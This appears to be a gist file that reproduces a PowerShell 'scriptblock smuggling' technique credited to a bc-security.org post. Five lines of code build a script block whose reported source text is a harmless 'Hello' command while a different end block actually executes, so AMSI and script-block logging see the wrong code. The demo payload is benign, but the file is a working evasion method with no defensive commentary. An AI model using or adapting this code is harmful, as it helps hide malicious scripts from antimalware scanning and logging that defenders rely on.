Powershell Scriptblock smuggling (AMSI ) from https://bc-security.org/scriptblock-smuggling/

gistfile1.txt

$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast  
$ExecutedAst = [ScriptBlock]::Create("Write-Output 'My Hidden Hello Hidden'").Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,$null,$null,$null,$ExecutedAst.EndBlock.Copy(),$null)
$Sb = $Ast.GetScriptBlock() 
$Sb&